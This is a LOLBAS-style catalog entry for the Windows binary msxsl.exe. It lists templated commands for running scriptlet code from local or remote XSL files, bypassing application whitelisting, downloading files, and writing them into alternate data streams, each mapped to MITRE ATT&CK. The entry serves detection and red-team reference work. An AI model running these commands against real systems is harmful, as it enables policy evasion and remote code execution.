CatalogLOLBAS

LOL · OtherMSBinary

msxsl.exe

6 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Run COM Scriptlet code within the script.xsl file (local).

Use Local execution of script stored in XSL file.

msxsl.exe {PATH:.xml} {PATH:.xsl}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1220

AWL Bypass

AWL / Policy BypassWindows

Run COM Scriptlet code within the script.xsl file (local).

Use Local execution of script stored in XSL file.

msxsl.exe {PATH:.xml} {PATH:.xsl}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1220

Execute

ExecutionWindows

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

Use Local execution of remote script stored in XSL script stored as an XML file.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1220

AWL Bypass

AWL / Policy BypassWindows

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

Use Local execution of remote script stored in XSL script stored as an XML file.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1220

Download

File DownloadWindows

Using remote XML and XSL files, save the transformed XML file to disk.

Use Download a file from the internet and save it to disk.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105

ADS

Defense EvasionFile WriteWindows

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

Use Download a file from the internet and save it to an NTFS Alternate Data Stream.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS
MITRE
T1564